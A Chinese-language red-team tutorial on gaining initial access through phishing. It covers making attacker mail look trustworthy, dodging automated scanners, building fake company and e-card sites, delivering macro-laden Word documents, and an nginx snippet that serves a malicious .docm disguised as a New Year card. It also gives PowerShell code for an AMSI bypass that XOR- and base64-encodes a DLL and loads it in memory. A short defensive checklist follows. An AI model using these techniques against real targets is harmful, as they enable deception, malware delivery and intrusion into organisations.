Red Team Techniques-通过钓鱼攻击获得访问权限
字数 1217 2025-08-27 12:33:49
红队钓鱼攻击技术详解:从零到获得访问权限
1. 钓鱼攻击准备工作
1.1 邮件来源可信度构建
- IP可信度:避免使用新购买的VPS发送邮件,检查发件人历史记录
- 域名可信度:
- 使用Mailchimp或Sendgrid等可信服务商验证域名
- 确保发件人显示为"自己的域名"而非服务商名称
- 匹配目标电子邮件的返回路径
- 邮件认证配置:
- 配置SPF(发件人策略框架)
- 配置DKIM(域名密钥识别邮件)
- 配置DMARC(基于SPF和DKIM的可扩展认证协议)
1.2 发送策略优化
- 时间和频率:避免短时间内大量发送,防止被标记为垃圾邮件
- 链接和域名:
- 使用SSL证书
- 避免死链接
- 控制HTML内容数量
- 避免黑名单:持续监控域名信誉
1.3 对抗自动化检测
- 识别爬虫:
- 使用GreyNoise API识别WEB_CRAWLER
- 检测headless Chrome、Selenium等环境
- 内容伪装:为自动化扫描引擎提供正常内容
- 重定向技术:使用301/302重定向到高信誉域名
2. 钓鱼攻击类型选择
2.1 针对性攻击
- 针对特定个人进行高度定制化攻击
2.2 基于侦查的群发攻击
- 使用OSINT工具收集目标信息:
- theHarvester
- DataSploit
- Awesome-OSINT
- 发送大量定制化钓鱼邮件
2.3 表单提交攻击
- 建立虚假公司网站
- 诱导目标在假网站上提交敏感信息
3. 攻击实施技术
3.1 恶意文档生成
- 使用Unicorn生成恶意PowerShell宏:
"po" & "w" & "er" & "s" & "he" & "l" & "l" & ".e" & "x" & "e" & " " - 使用hershell作为payload(Go编写的轻量级Stage)
3.2 AMSI绕过技术
- 重新编译AMSI Bypass DLL
- Base64编码:
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes("$pwd\\bypass.dll")) - XOR加密:
foreach($byte in [Text.Encoding]::UTF8.GetBytes($base64string)) { $encrypted += $byte -bxor 1 } - 在目标上解密和执行:
foreach($byte in $xorencrypted){$decrypted += $byte -bxor 1 } $base64string = [Text.Encoding]::UTF8.GetString($decrypted) [Reflection.Assembly]::Load([Convert]::FromBase64String($base64string)) | Out-Null [Bypass.AMCEE]::Subvert();
3.3 实际攻击案例
案例1:伪造公司咨询
- 创建与目标业务相似的虚假公司网站
- 使用mixmax.com托管恶意文档并跟踪点击
- 发送包含恶意Word文档的咨询邮件
- 文档需要启用宏才能"正确加载"
案例2:新年群发攻击
- 创建虚假员工奖励计划网站
- 使用重定向技术:访问假网站时跳转到真实网站
- 发送"电子贺卡",内含需要宏才能播放的"祝贺视频"
- Nginx配置示例:
location /receivedECard { alias /var/www/html/HappyNewYear2019.docm; add_header Content-Disposition 'attachment; filename="Happy New Year 2019.docm"'; }
4. 防御措施(蓝队视角)
- 禁用Office宏:特别是来自不受信任来源的文档
- 邮件过滤:
- 严格过滤不信任来源的邮件
- 加强收件箱规则
- 安全沙箱:在虚拟机中运行可疑附件
- 安全意识培训:定期对员工进行钓鱼攻击识别培训
- 技术防御:
- 启用AMSI保护
- 监控异常PowerShell活动
- 实施应用程序白名单
5. 总结
现代钓鱼攻击需要更多准备工作,但仍然是有效的初始访问手段。攻击者需要:
- 精心构建可信的邮件来源
- 开发能够绕过现代防御机制的payload
- 采用多种攻击方式组合
- 持续监控和维护攻击基础设施
防御者应实施多层次防御策略,结合技术控制和人因工程,才能有效抵御日益复杂的钓鱼攻击。